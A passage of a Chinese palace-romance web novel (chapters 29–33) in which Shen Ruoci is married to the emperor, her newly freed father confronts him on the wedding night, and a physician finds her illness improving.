此时沈若辞坐在妆镜前,锦云正帮她梳妆。她虽觉得这身嫁衣很好看,但她进宫并非喜事,不适合这般大张旗鼓。 “嬷嬷,确定要穿这一身进宫吗?” 连嬷嬷内心有些忐忑,含糊道,“沈姑娘说孩子话了,喜事自然要着喜服。” 往前几天,她看过宫里送来的凤冠和嫁衣,心中已经有了定论。但这么多天过去了,皇上没有来过相府,甚至宫里也没有传出任何风声。 连嬷嬷莫名焦虑起来。她心里忍不住抱怨,皇上平日里随性也就罢了,怎的成亲一事也能如此儿戏! 话虽如此,连嬷嬷仍然一点也不敢松懈,卯足了力气打扮沈若辞。 阿茉如愿以偿地见沈若辞穿上画卷上的嫁衣,几乎是看呆了眼。她一向知道她们家小姐美貌过人,只是没想到这嫁衣上身,竟比样式图上的仍要好看上许多。 可惜美则美矣,却不是值得欢喜的事情。阿茉暗地里叹了口气,若不是被迫入宫,而是顺顺当当地嫁给袁公子,那才叫完满。 沈若辞看出她的担忧,私底下轻轻地按了按她的手,以做安抚。 此时已妆扮完毕,精致的妆容掩去她略显苍白的脸色,澄澈的眸子里蓄着一汪清泉,雾蒙蒙地自带风情,朱唇轻点,明艳不可方物。 连嬷嬷今日才发现这女子美得张扬,就算当年盛京第一美人的连皇后,恐怕也不及她这般娇俏动人。容貌已好看到极致,身段也不拖后腿,甚至是锦上添花,她一个老妇人看了都觉得心肝儿乱颤。 也不知道是自己老眼昏花了,还是因为她是皇帝看中的女子,连嬷嬷现在不管怎么看沈若辞,怎么都觉得美,美得没有挑剔的地方。 “嬷嬷……”沈若辞觉得这黑脸妇人好生奇怪,一言不发盯着她的脸看了半天,看得人心底发毛。 该不会是等会儿进宫,有什么豺狼虎豹正在宫里等着她呢。 连嬷嬷被她一唤回过神来,她以为小姑娘是紧张不知所措了,一边抄起手边的红盖头替她盖上,一边安抚道,“沈姑娘跟着老奴就好,老奴一路陪着,不必心慌。” 作者有话说:这不,就要大婚啦[烟花] 第30章 视线忽然一暗, 沈若辞皱了皱眉头,未及细想,连嬷嬷便将她人扶了起来。 沈若辞知道这是要离开相府了, 几天前她已将圣旨交给了宋临,大小事宜也一一交代清楚。 她此时离家, 除去阿爹,心中最记挂是宋临。 宋临是沈相自幼带在身边的, 他同沈若辞一块儿长大,两人之间的感情, 要比对沈家那些堂兄堂姐来得深。 沈若辞鼻子一酸,她刚往前迈了几步, 阿茉便惊讶地开口问道, “公子, 您怎么来了?” 宋临站在门口轻声道, “我来送送小姐。” 沈若辞闻言心头一喜,她加快了步伐走到门边, 刚要迈过门槛, 便被人按住了胳膊。 “我来背你。”宋临一边说一边转过身去,沈若辞想要拒绝的时候,他已经半蹲下身去,挡住了她的路。 连嬷嬷见状, 趁势扶着沈若辞攀上他的肩膀,宋临轻轻松松地将人背起来。 连嬷嬷心头的大石头落了地,她也是刚刚才想起来, 女子出嫁双脚不能沾地,否则不吉利。好在这小伙子及时出现,解了她的燃眉之急。 沈若辞像小时候一样趴在宋临背上, 这让她想起幼时一些事情,心中不禁感慨起来,嘴上却故作轻松道,“阿临你这个样子,我差点以为自己是要嫁人了。” 宋临依旧步履稳健,“嫁人不好吗?” 于沈若辞来说,嫁人在前两年里,确实是一件喜事。 当初她卧病在床,沈相曾坐在床边哄过她,“等你养好了身子,若是还喜欢袁家小子,爹让你嫁给他。” 那时候府中上下,都以为她日后嫁的人定是袁子逸。 只不过世事难料,她最后没嫁成那个人,沈若辞笑了笑提醒道,“我这回嫁的可不是袁公子。” 她很抱歉,没有嫁成袁子逸,恐怕又要让真心关心她的人忧心了。 哪知宋临却说,“袁公子没什么好的,小姐值得更好的。” 沈若辞知道宋临在护短,她心头微微一动,但皇帝那人嚣张跋扈,后宫妃嫔又多,实在算不上更好。 与沈若辞吃饱睡足才起来梳妆不同,元栩今日从晨起便开始被各种繁冗的仪式折腾到黄昏。众位礼官连皇后是何许人也都不知道,却卯足了力气走最周全的仪式,只因为往日不好说话的帝王,今日难得一见的配合。 岳常安也没有好过,他小心翼翼地跟在元栩身边一整天,除了打点大小事宜,还要时不时地往小祖宗脸上觑上一眼,生怕他随时翻脸。 等到帝王的辂车停在沈府门前时,岳常安一颗悬着的心总算落了下来,他大概摸清楚门道,皇帝在沈姑娘面前,一般不会太凶。 接亲的吉时还有一会儿,岳常安逮着机会,悄摸摸地躲到角落里凉快一会。他刚想掏出帕子来抹一把额头的汗珠,就被人无情地打扰了。 “岳公公……” 岳常安手抖了抖,他回头一看,唤他的人正是那夜被他带出去吹冷风的袁妙莹。 那夜皇帝不知出于什么原因,要他将袁妙莹接走,后来又让她一无所获地回了家,眼下见到人,岳常安难免有些心虚。 他清了清嗓子,不自在地回道,“咳咳,是袁姑娘啊……” 袁妙莹原本被侍卫拦在外边,但此时那侍卫见她跟岳公公相识,阻拦的态度也不好太强硬,就这么松懈了一下,就被袁妙莹钻了空子,直接推开人跑到岳常安身边。 袁妙莹假装好奇地问道,“岳公公,你们今日为何事而来啊?” 岳常安正斟酌着言辞要怎么委婉地赶走她时,元栩从辂车上下来,一身红衣衬得他一张俊脸美得愈发张狂。他身量高挑,从车上下来到落地站稳这么普通一个动作,始终带着一股矜贵的优雅,赏心悦目得让人移不开眼。 袁妙莹眼前一亮,几乎是看直了眼,她一时欣喜不已,一颗心都快跳到了嗓子眼,连脚步也不自觉地朝那边过去。 元栩走了一天索然无味的仪式,好不容易等来最重要的时刻。此时冷静下来,心中除了喜悦,竟隐隐生出几分不安来。 他只想尽快见到人,以免夜长梦多。 袁妙莹满眼都是皇帝俊美的容貌,她按捺下心头的欢喜,小心翼翼地上前问道,“皇上,您是来接臣女的,对吗?” 元栩不想听到其他人聒噪的声音,他烦躁地瞥了袁妙莹一眼,没想起沈若辞身边有这号人。 他回过头去,目光依然落在相府气派的大门上,问得毫不经心,“你谁?” 袁妙莹心脏一缩,眼泪几乎要夺眶而出。前阵子整个盛京传得沸沸扬扬,说皇上在七夕宴上被她的美貌、舞姿惊艳到,对她一见钟情,要立她为后。那么多人说皇帝喜欢她,可他竟然连她的长相都记不清。 她面红耳赤,试图唤起元栩的记忆,“皇上,臣女是……” 可惜她话刚出口,就被一阵脚步声无情地掩盖了,皇帝并没有听到她的声音。 袁妙莹并不甘心,不管来的是何人,她不能放弃这个机会,于是她又走近了两步,试图提高嗓音对抗那些嘈杂的声音。 元栩拧着眉头,眼睛一瞬不瞬地盯着前方,几乎是在她准备开口的同时,薄唇轻轻地迸出一个“滚”字。紧接着长腿便急不可耐地迈开,接住了宋临背上的人。 他阴沉着脸,接过人后又横了宋临一眼。 连嬷嬷看出端倪,赶忙解释道,“皇上,哥哥送妹妹出嫁是旧俗。” 元栩面色稍霁,“无妨。” 沈若辞被他抱过去的时候,只有她知道,那人用了多大的力气,几乎是用抢的,生怕她能插上翅膀飞了那样。 她被元栩抱在怀里,鼻间萦绕着淡淡的龙涎香,不是他身上惯有草药香气。 沈若辞莫名觉得心慌。 她原本没想过元栩会来,毕竟今天是他成婚立后的大喜日子。可他为何会来,这点也不难想通,大概率是怕丢了她这颗棋子。 沈若辞也无所谓他来不来,只要阿爹能平安出狱,其他事情就变得无关紧要了。 这么想着,她倒是盼望能赶紧离开,好让宋临赶去狱中宣旨。可皇帝抱着一动不动,似乎并没有要走的意思。 一旁的袁妙莹也没有依言滚开,元栩要她滚的话,说得很小声,好在现场只有她一人听到了。她厚着脸皮留下来,就想为自己再争取一下,没想到等来的却是皇帝抱着别的女子。 她一下子从云端跌落到泥地里,先是惊愕,再然后是难以置信,整个人恍惚了半晌,才确认皇帝抱着的人是沈若辞。她失望之余,又重新燃起了新的希望。 若是皇帝知道她是个残花败柳,还会要她么? 打定了注意,袁妙莹在礼乐声中再次开口,“皇上,臣女有一事相禀……” 这一声楚楚可怜,丝毫不似往日嘲讽沈若辞那般尖酸刻薄,可沈若辞还是一下子听出了说话的人是谁。 大红喜帕掩盖了视线,沈若辞虽未能看见袁妙莹,但也能猜出,皇帝是接了袁妙莹之后,顺带来捎她入宫。 袁妙莹最后一次出声,岳常安几乎是胆战心惊,他等不及命令一旁的侍卫上前赶人,自己便舍身冲过去一把将袁妙莹推开。 元栩怀中抱着人,依旧站在原地,似乎并没有受袁妙莹的影响。他一门子心思都在看沈若辞的红盖头,左看右看,大有要将那层布看穿的劲头。 连嬷嬷见形势不对,生怕他当众撩开喜帕,忙上前提醒道,“皇上,莫要误了吉时。” 元栩皱了皱眉头,忽然探过头去,将唇抵在她的耳畔,像在确认什么似的叫了一声“沿沿”。 声音细软绵长,竟难得的温柔,沈若辞轻轻地“嗯”了一声。 她也明白,皇帝在确认相府有没有偷梁换柱。 要不是连嬷嬷千叮咛万嘱咐,不可擅自掀开喜帕,她此时倒是可以来个自证清白。 皇帝生性多疑,性子又古怪,试探她一下也是理所当然的事。只不过沈若辞脚不沾地,被他抱在半空中,一颗心难免战战兢兢。 等到她上了辂车,稳稳当当地坐在车里时,才稍稍松了一口气。 车轮滚滚,沈若辞的心跳刚平缓下来,就感觉有人随后跨入车厢,一屁股坐在她身旁。 紧接着,一只大手横了过来,粗鲁地将她搁在膝盖上的手团入掌心。 沈若辞闻不惯他身上龙涎香的香气,下意识要将手抽回,却被他握得更牢。 元栩不悦道,“乖乖坐着。” 沈若辞只好由他抓着手,辂车四平八稳,元栩哼着小调,听起来心情还不错。 沈若辞垂着头,目光越过喜帕的边缘,落在他大红色的长袍下摆。 她想象不出来,那人目中无人,穿着婚服的样子。 等到了皇宫,天色已经黑透。宫里灯火通明,分不清黑夜白昼。 沈若辞却很清楚现在是什么时间,不出意外的话,宋临已经拿着圣旨抵达天牢,她爹可能已在归家的途中。 前阵子沈若辞已想好了说辞,让宋临跟沈相说她去柳太妃那里了,会小住一段时间。 她要等沈相修养好了身子,才将实情告诉他,再慢慢想办法。 只是这事心里没底,到底是瞒不住父亲的,一想到事发的后果,沈若辞心里就发愁得很,不由得轻叹了一口气。 辂车停在大殿正门口,元栩先从车上下来,又转身要去抱身后的沈若辞。连嬷嬷在一旁提醒道,“皇上,娘娘可以自己走了。”《 》 30-40 第31章 元栩记起大婚流程, 这会儿夫妻二人要手执红缎,一人牵着红缎的一端。他没有收手,亲自将人抱下来, 稳稳当当地放回地面,才拿过红缎, 将一端放入沈若辞掌中。 沈若辞垂下头,一眼望到自己的脚, 婚鞋精致小巧,踩着大红色的地毯, 上边铺洒着各色的花瓣。她将红缎握在手中,被宫人拥着走了几步才恍然想起, 今日皇帝迎娶新后, 这不该是她要拿的东西。 沈若辞视线从脚下移开, 正想着要如何开口, 便听见礼乐声中有女子娇柔的声音。 “臣妾参见皇上。” 好几个人的声音,不止一个。 元栩看着一旁齐刷刷跪了一地的女子, 只回了一声“起来吧”, 脚下的步子没有停过。 薛雪媚第一个追上来,“皇上,臣妾奉母后的旨意,前来迎接皇后娘娘, 不知娘娘怎么称呼,可是袁……皇后?” 薛太后宫外的眼线传回消息,接亲的队伍确确实实出现在国公府附近, 看来传言是真的。 皇帝并没有给她半个眼神,更没有回答她的问题。薛雪媚努努嘴,恨不得马上冲上前去, 掀了那皇后头上的喜帕,看看到底是什么狐狸精! 连嬷嬷离皇帝只有一步之遥,见众妃子依然紧跟不舍,便出言道,“贵妃莫要道听途说,是沈皇后。” 薛雪媚一双眼睛瞪得又大又圆,眼珠子都快掉出来了,仍没想到沈皇后是哪家的贵女。 连亦心的目光没有离开过元栩,她无法接受表哥身穿婚服,迎娶别的女子。她的表哥貌若谪仙,又是九五之尊,这世上没有女子能配得上他。 可如今事实就在眼前,他那身红衣生生刺疼她的眼,更扰乱她的心,她心绪不宁,浑浑噩噩地跟着连亦兰。 直到听闻“沈皇后”三字,她脑中立刻迸出来那张脸,思绪也不再漫散,双手猛地握住连亦兰的手臂,几乎是脱口而出,“不可能!” 沈若辞也觉得不可能。 她第一反应是想笑,皇帝视她爹如死对头,连带憎恶她们沈家的人,他是摔坏脑子了才会娶她当皇后。 她无声地笑了笑,手中的红缎明晃晃的,能感觉到那一端沉稳的力道。 很快她便不这么想了。 所有细节拼凑在一起,沈若辞不得不承认,连嬷嬷口中的“沈皇后”正是她自己。 笑容凝固在唇边。 沈若辞心头一凛,脚下的步子也停了下来,这太荒唐了,她一刻也等不了,抬手就将眼前的喜帕扯了下来。 灯火映着她的脸,凤冠下,那张清莹白净,眉眼间又有几丝撩人的娇媚。 怎么会是沈相那阶下囚的女儿! 几个妃子吃惊得捂住了嘴巴,只差没当场叫出声来。 乱套了,乱套了!连嬷嬷的心脏几乎要从嗓子眼跳出来,她的头也开始隐隐作痛了。 元栩离她五步之遥,一回头就见到她身穿嫁衣的模样。 与梦里不同,这次她要嫁的人是他。 只是能不能别每次出嫁都让人不省心? 他脸上腾起几丝不耐烦,嘴角扯出一个弧度。 在场的几个妃子心中都大叫不妙。 上一次见皇帝露出这种表情,是薛雪媚言语露骨撩拨皇帝。后来她被禁足三个月,还是太后求情才放出来。 这回又会有什么好戏看呢? 她们齐刷刷地瞪大了眼睛,就见皇帝耐着性子走过去。 元栩挡在沈若辞跟前,随手夺过她手中的喜帕,“着急做什么,这不还没到洞房的环节。” 他慢条斯理地将她的喜帕又盖了回去,还不忘认真地摆正头顶的花纹。 虽然他跟沈若辞已将洞房最重要的事提前做了,但走走这些无趣的仪式,他也不反感。 就是没想到她这般急。 连嬷嬷见事态没有扩大,默念了一声“阿弥陀福”,赶忙上前扶住沈若辞,这次非要将人盯紧不可。 她轻声叮嘱道,“娘娘,切不可乱了规矩。” 沈若辞还没来得及说上一句话。方才喜帕落下的时候,她刚好对上一双慌乱的眼睛。这双眼睛她记得,是连亦心,仍像上次七夕宴见到的那般,一副惊慌失措的样子。 她甚至没来得及看清皇帝的脸,喜帕又重新回到头上,遮住了视线。但她确定,皇帝看清了她的脸,并且没有认错人。 皇帝要娶的人的的确确是她。 可那人丝毫没有要说明的意思,沈若辞见他马上要走开,一急之下伸出手扯住男人的下摆。 “皇上!” 声音急急的,又弱又可怜。崭新的婚服被她攥得死死的,元栩望着那只莹白的小手,垂下头来在她耳边轻语了一句,“沈相已归家。” 沈若辞手上的力气像被抽干,一点一点松开他的衣摆,最后无力地从他身侧滑落。 红缎那头传来沉稳的力道,她被牵着走。连嬷嬷死死地按着她的手臂,生怕她又做出什么不合礼仪的举措。 等到了雪辉宫,她走了一路,也想了一路,脑子清醒下来,就想明白一件事。于她而言,虽说都是棋子玩物,但到底是不一样的。 至少皇后不是袁妙莹。 袁妙莹在宫外的时候就苦心积虑害她,一旦进宫做了皇后,沈若辞还要仰她鼻息过日子。 她只是一颗不受待见的棋子,日后堂堂皇后对付起她来就有如瓮中捉鳖,不费一丝一毫的力气。 眼下,她自己做了皇后,袁妙莹还欺负不到她。 总归不是全无好处,沈若辞唇角勾了勾。忽地视线一明,喜帕从她眼前垂落下来。 城中灯火通明,大红色的灯笼沿着长安街挂了一路,犹如白昼。 朝廷安排了五十场大戏,对全城百姓免费开放,大街小巷都是来来往往的人群。巡城的士兵帽子上都插着统一的红花,一波接着一波,到处洋溢着喜悦的气息。 宋临已经拿着圣旨和衣服前去牢房里接沈相出狱,此时沈墨已换上干净的便服坐上回府的马车。 因为不想节外生枝,宋临已经吩咐车夫绕开人群密集的地方,可就在快马车快要到达相府的时候,一阵鞭炮声噼里啪啦地响起来。沈墨提起车帘朝外边看了一眼,“今日城中可是有人办喜事?” “是,义父。”宋临心虚地答道。 眼见前边的路堵住了,沈墨吩咐车夫打开车门,他干脆下车走路回府好了。 “哪家办喜事?” 宋临被问得额头突突直跳,不久前他才瞒着义父,亲手送沈若辞出嫁,此时此刻他只能硬着头皮撒谎,“孩儿不清楚。”说完他试图拨开人群,当务之急是赶紧送沈相回府,避免夜长梦多。 哪知越是怕什么,越来什么,才没走几步,就遇上巡城的叶统领。 叶统领一见沈墨就笑容满面地迎上来,朝她作揖道贺,“沈相,大喜大喜啊。” 沈墨以为对方是在祝贺自己出狱的事,回道,“多谢。今天是什么日子,要劳烦叶统领亲自出马巡城?” 叶统领一头雾水,“今日是皇上大婚的日子啊,这不刚刚才祝贺过沈相。” 沈墨冷笑一声,也难怪这城中搞出如此大的阵仗,原来是那狼崽子大婚,看来他也是沾了这场婚事的光,才能赶在今日出狱。 想起这些年来皇帝磋磨人的手段,沈墨叹息道,“谁家的女儿,这么倒霉!” 叶统领的脸色有种难以言喻的精彩,他看看沈墨,又瞄瞄一旁的宋临,最后笑容都凝固在脸上,才艰难地开口,“您家的。” 沈墨沉下脸来,“叶统领,本官跟你没有仇吧?” 叶统领哪壶不开提哪壶,极没眼色地奉承道,“没有没有,咱俩能什么仇?好着呢,日后我们全家老少还要仰仗国丈的关照。” 沈墨当他在放屁,看向一旁的宋临,“沿沿真的在柳太妃那里?” 宋临不敢撒谎,沉默不语。 沈墨沉思了片刻,突然大笑起来,心中悲愤交加,口中连说了三个“好”字,这才吐出胸中一口浊气,提步就往相府的方向奔去。 宋临大气不敢出,只紧紧地跟着沈相,寸步不离,等到了相府,沈相才对他开口,“回房里跪着。” 宋临如蒙大赦,拜别沈相便赶往房中跪着。 雪辉宫里,沈若辞的红盖头被掀开的瞬间,笑容凝固在唇边,那人跟她一样,一身火红色的婚服,衬得眉眼愈发张扬恣意,此时正含着笑看她,神色有些不屑。 他随手将喜帕从床沿拂落在地,笑得轻描淡写,“区区一个后位,也值得你高兴成这个样子。” 屋中宫女嬷嬷站了两排,恭恭敬敬地等侯着,此时听到这句话,心下都咯噔一下。她们都知道沈相如今还是阶下囚,这皇后恐怕也不会太好做。 沈若辞望着地上的喜帕怔了一会儿,才咬着唇缓缓回道,“多谢皇上。” 真是谢谢他了。 元栩愉悦地从一位嬷嬷手中接过两个匏瓜形状的白玉盛器,用红绳连柄,小巧玲珑没有半分杂质。 长指白玉,略有几分赏心悦目。 “娘娘,合卺酒。” 连嬷嬷在一旁提醒。 第32章 沈若辞自宽大的袖摆下伸出一只白嫩的小手来, 犹豫了一下,还是接了过来。 自生病以来,她已经两年没沾过酒了。待拿稳了合卺酒, 那人长臂一勾,等着她伸手过去。 两臂相交, 沈若辞感受到他身上草药的气息,杯中的酒气淡淡的, 没什么酒味,她仰头将酒饮尽, 唇齿间有一股香甜的果香。 沈若辞看了一眼见空的杯底,舌尖碰了碰唇瓣, 没想到合卺酒喝起来还不错。 流程走完, 元栩掀起繁复的下摆, 没骨头似的往软塌上一坐, 好整以暇地看着喜床上的沈若辞。 他的眼光一如既往地好。 入眼是一片喜庆的红,这样艳俗的颜色, 非但没有让人觉得俗气, 反而衬得她容貌更加娇媚柔美,身段更加窈窕有致。 沈若辞被他看得浑身不自在,不知这人又在打什么坏主意。 她被看得心虚,忍不住去想, 这人不用出去宴客的吗?莫不成因为娶她心情不佳,连筵席也没有准备? 移开视线落在裙摆上,“这嫁衣真好看。” 好看, 量身定做的,肯定好看啊。 更何况,是出自他的手。 样式出来后, 针工局二十四位手艺精湛的绣娘,连着赶了十天,才做出来的。 初秋的天气最是宜人,晚风从窗户吹进来拂在身上每一处都舒适极了。 那个梦里,也是她成亲的当夜,他在江边喝酒,吹着冷风,狼狈不堪,哪有此时自己做新郎官来得爽快。 果然,凡事要靠自己。灯光下看美人,越看越有滋味,红烛高燃,她的脸颊粉粉的,红唇娇艳欲滴,屋中的空气莫名旖旎起来。 元栩想起那夜在她的闺房,香汗沾湿她额前的发,因为剧烈起伏,双颊泛着一层惑人的粉。声音更是媚到极致,此时坐在这里,都能感觉到她的讨饶穿过记忆钻进耳里,在血液里四散开来,媚得他筋骨酥麻。 元栩喉结滚了滚,他就想把人捆在床榻之间,不分昼夜地作弄她。 岳常安很不合时宜地过去提醒道,“皇上,该去前殿宴客了。” 沈若辞双唇轻抿了一下,原来他还要面子,也知道要请宾客。 “皇上安心去前殿,这边有老奴伺候皇后娘娘。” 方才生出来的那点旖旎烟消雾散,元栩皱了皱眉头从软塌上抬起身子。双脚刚刚沾了地,殿外便是一阵嘈杂声。 岳常安走出去几步,就听见严从晖高声禀道,“启禀皇上,沈相手拿先帝御赐的宝剑,一路闯进宫来……看皇后娘娘。” 从殿外有动静开始,沈若辞就留心听着,此时听到了严从晖的话,她心头一惊,腾地一下从喜床上站起身。 她虽人在屋内,却能听见叫喊的声音越来越近,沈若辞急出一身冷汗,连背脊都僵硬起来。 她望向元栩,那人又坐了回去,半躺在软塌上,视线扫过她局促不安的身子,对上她的眼眸后轻轻一笑。 似乎在看她的好戏。 沈若辞咬了咬牙,对着元栩行了一礼,“皇上,父亲思念臣女,沿沿要出去见父亲一面,失礼了。” 来不及等元栩点头,沈若辞便提着裙摆奔出屋去。 月光下,沈相已换下囚衣,但也未着官服,整个人消瘦了一些,单手握着剑,来势汹汹。 “阿爹!” 沈若辞站在台阶上眼眶一酸,小跑着扑过去握住父亲的手,眼泪就止不住地往下掉,也不知是开心还是难过。 沈墨见到女儿完好无损,一颗心总算放了下来,火气也消散了一些。他抬头拭去沈若辞双颊的泪珠,关切地问道,“沿沿,那狼崽子欺负你了?” 沈若辞朝门口回望了一眼,才小心翼翼地对着父亲摇了摇头。 沈墨自是不信,沈若辞赶忙补充道,“阿爹放心,皇上没有欺负女儿,还封了女儿做皇后。” 她嘴角扯出一个欢喜的笑容。 夜里风大,沈墨看着她的笑直皱眉头,手上却不忘将沈若辞落在臂弯的袖摆拉上来,盖住莹白的手腕,“你用不着骗人,爹能不知道那狼崽子有什么坏心思!这段日子委屈你了,爹现在就带你回家,用不着害怕他。” 说着便要拉沈若辞离开。 沈若辞避开沈相的手,后退了一步。 沈相原本转身要走,没想到手上抓了个空,便又回过头去,就听女儿低声央求道,“阿爹,我不走,我想做皇后好不好?” 沈墨一口气堵在胸口,几乎是难以置信,他无法接受这话是从沈若辞口中说出来的。 袁子逸虽不是女婿的最佳人选,但两家门当户对,沈若辞若是想嫁过去,有他护着,也不会被欺负。 但皇宫是吃人的地方,自古君王又多薄情,他断不能眼睁睁看着女儿跳进火坑。 他望着女儿娇嫩的脸庞,耐心地询问道,“你告诉阿爹,那狼崽子有什么好?” 沈若辞喉头一窒,她飞快地脑中搜索了一遍,想找出这人几个像样的优点,糟糕的是,在脑中转了几次,她都找不到。 可她也不能随口胡诌,毕竟父亲是看着小皇帝长大的,对他的性子了如指掌,肯定骗不过。 沈若辞憋红了脸,就是想不出他的一个优点来,眼见沈相就要失去耐心,她几乎是急中生智地喊道,“他好看!” 对,他好看。 沈若辞暗地里松了一口气。 沈墨脸色瞬间沉了下来,整张脸黑得几乎能滴出水来。 “爹爹,沿沿想去找漂亮哥哥玩,你带沿沿去,好不好?” “爹爹,漂亮哥哥家的小马,还等着我去喂它呢,您什么时候带我去呀?” “爹爹,哥哥好看,还跟我玩。” 一段尘封的记忆涌入脑海,沈墨脸色一寸一寸地灰败下去。起初他坚信沈若辞是被皇帝要挟控制,可眼下他又开始动摇,难不成女儿真是自愿的? 这念头一闪而过,不管是自愿的还是被逼迫的,他都不会同意女儿留下来。 沈墨狠了狠心,毕竟年少,难免识人不清,她不能眼睁睁看女儿陷进去,“走,现在跟阿爹走还不迟。” 沈若辞恨不得马上跟父亲离开,但她知道皇帝的为人,岂会轻易放过她们父女二人。她只能狠下心拒绝,“阿爹,我不走。” 沈相好言相劝,“沿沿,听爹的话,现在走还来得及……” 元栩垂着眼帘,在屋中听了一会,最后还是忍不住从软榻上起身,慢悠悠地走向门口,修长的身子往门框上一靠,双手抱臂望着庭院中争执不休的父女二人,缓缓地吐出一句话。 “爹,晚了。” 庭院里安静下来。 沈墨几乎不敢相信自己的耳朵,他讷讷地抬头望向元栩。 那狼崽子一身喜庆的婚服,脸上的稚气不知道何时蜕变成少年的英气。他恍然发现那个小孩已长大成人,不再是当初事事要他操心的小皇帝。 沈墨定了定神,回想起他刚刚说的那话,语气又是十足的讨人嫌。 他冷笑一声,“沈家没有这个福分,今日就当沿沿进宫游玩一趟,皇上请另寻佳偶。” 话音未落,元栩顺着门前的台阶一步一步往下走,“沿沿腹中没准已有了皇家血脉,怎可说走就走。” 沈墨瞪大了眼珠子望着元栩,待反应过来,又见沈若辞心虚地垂下头,震惊、愧疚、愤怒各种情绪一时间交织在心头,冲刷着他的理智。他几乎不敢想象,他不在的这段日子里,他的闺女是怎么过来的。 原想保住她,却没想将她送入了龙潭虎穴。 沈墨当然是悔不当初。 他此时又是气愤,又是悔恨,一张脸铁青铁青的,沈若辞看得心惊。她抓着父亲的袖子,嘟起小嘴,像以往做错事一样试图央求他原谅。 沈墨见不得女儿可怜巴巴的样子,以往几乎马上就心软了。可这次,他却久久不肯松口。 夜色弥漫,夜风从庭院中拂过,丝丝凉意。 元栩打破了这片寂静,“夜深了,沿沿身子不好,不宜吹夜风。沈相请移步屋内。” 沈墨僵持了一会,还是缓步进屋。 新房里大小事物无一不精致华贵,床边燃着一双红烛,照得屋中亮澄澄的。 父亲性子刚直不阿,沈若辞生怕他说出什么话来触怒皇帝,她为父亲奉上热茶,因为担心,坐立难安。 所幸沈墨没有纠缠不休,但却始终绷着脸,连喝了两杯热茶,眉头依旧紧锁。 直到外边宫人通传沈太医到了,几人的目光齐齐落在他身上。 沈太医一只脚迈过门槛的时候,就已经感受到屋中奇怪的氛围。 皇帝洞房花烛夜召他前来问诊,多半不会是好事,他战战兢兢地进屋,一眼就望见沈相,倒没想到会在皇后宫中碰到老熟人。 沈太医皱了皱眉头。 他是来为皇后问诊的,见了沈相也不好叙旧,只用眼神跟他交流了一下,没想到往日聪明绝顶的人,这回竟对他的招呼熟视无睹,冷着脸假装没看到。 沈太医心头闪过一丝诧异,但碍于正事要紧,他无暇顾及,转而去看那穿着红嫁衣的美娇娘,竟是沈相卧病在床的千金。 屋中灯光明亮,他揉了揉眼睛,怀疑自己老眼昏花了。 第33章 这回, 他愣在原地,眉头皱得比沈相还要严重。这女娃子的病,他没法治! 元栩见他许久没有动静, 冷笑一声,“怎么, 医术一夜精进,单凭眼观就能看出病情不成?” 沈太医心慌成一团, 躬着腰硬着头皮朝沈若辞走过去。 锦云见状扶着沈若辞在一旁的椅子坐了下来,沈太医伸出两个手指头为她号脉。 这不是他第一次为这女娃子看病。 以往沈相定期请他到沈府为沈若辞号脉。作为她的大夫, 对她的病情了如指掌,却也无能为力。 时光一点点流逝, 屋中静悄悄的, 沈若辞看了看元栩, 又望了望父亲, 眼中茫然不解。 不出一会儿,沈太医收回手指, 愁苦的脸上爬上几丝喜悦。 “恭喜皇上, 沈……娘娘的病情至少好了三成。” 沈太医一个月前才为沈若辞诊过脉,那时候对她的病情仍是一筹莫展,却没想到这么短的时间内,竟恢复得如此神速。 沈墨比沈太医还要惊喜, 可他将信将疑,生怕是沈太医误诊,让人白开心一场, 他尽量用平静的语气确认道,“你说的可当真?” 沈墨听出自己的声音在颤抖。 沈太医回复他的质疑,“行医者岂可口出狂言。” 同样诧异的还有沈若辞, 这阵子她一心扑在父亲的事上边,因而也忽视了自己的身体。她回想起最近的状态,确实比之前好上一些,不止胃口变好了,手脚也不再无力,整个人的精神头也越来越有活力。 沈若辞喜出望外,双眸因为欣喜染上光芒,笑盈盈地望向父亲,和他分享自己的喜悦。 沈墨没想到惊喜来得猝不及防,这两年来他寻遍盛京的名医,都未能让女儿的病情有所起色。 万没想到他入狱这段期间,沈若辞病情好转了。 沈墨湿了眼眶,险些掉下泪来。 这一幕落入元栩眼中,薄唇挑起一抹得意的笑,他挥了挥手示意沈太医下去。 沈太医行了一礼,却没有退下,他仍有一事相求,“微臣斗胆,可否看一下娘娘的新药方。” 他还想私下钻研一番,弥补一下自身的不足。 这话却把沈若辞问住了,她一直用的是沈太医的药方,近来不曾找过其他大夫。 沈若辞摇摇头,“并没有新药方。” 沈太医还想继续询问下去,但见皇帝脸色骤然一沉,他冒出一身冷汗,立马改口道,“臣先行告退。” 元栩望向沈墨,目光灼灼,“沈太医所言,沈相听清楚了吗?” 事关他最珍视的人,沈墨自然听得一清二楚,他不清楚的是这狼崽子在搞什么手段。 沈墨没好气道,“清楚又如何?微臣只想知道,我父女二人眼下能否出宫。” 呵,急什么。 “朕想跟沈相借一步说话。”元栩走到沈墨身边,又回头看了一眼沈若辞,神色温柔地叮嘱道,“沿沿身子不好,就不要出去了,朕跟爹出去就好。” 沈墨像顽石一般伫立在原地,神色复杂,良久才艰难地迈出步子,朝门口走去。 院中明亮的灯火照亮朦胧的夜色,树影斑驳,一红一黑两道身影行至一处僻静的地方。 白玉兰树枝缀着喜庆的红丝带,飘散着清幽的香气,树下元栩的衣袂随风轻轻摆动,浸染上芬芳。 沈墨依然绷着脸,站定后一言不发,就想听听他能扯出什么好话来。 “沈相难道不好奇沿沿病情为何好转?” 沈墨当然好奇,而今沈若辞只好了三成,若是药方对症,仍需继续治疗,他沉吟了一会,掀起下摆,直接跪在元栩跟前。 “求皇上赐教。” 元栩垂下眼眸,嘴角几不可见地上扬,面上不动声色地去将人扶起来,“都是一家人,沈相何必如此客气。” 沈墨坚持跪着,也跟他撇清关系,“皇上日后有何差遣,臣都会尽力而为,只求皇上继续为小女医治。” 元栩神色为难,“沈相误会了,皇后病情并非因药石而为。” 沈墨一下反应过来他这话是推托之词,明显是不想透露医治的方法。 他随即从地上站起来,拂去下摆的尘灰,“如此便不打扰皇上了。” 说着便转身欲走。 元栩哪里不知道他的脾气,气定神闲地将人叫住,“沈相留步。虽无药石可医,却有行之有效的方法。” 沈墨狐疑地回头,就见他停顿了一下,面带神秘地吐出两个字。 “冲喜。” 这种言论,在女儿久病不愈的时候,沈墨曾从他人口中听到过,那时候他不以为意,甚至认为是无稽之谈。 可刚刚沈太医的话,却让他将信将疑。 但不管如何,小皇帝的做法肯定是别有用心,沈墨淡淡地嘲讽道,“冲喜何必劳驾皇上亲力亲为。” 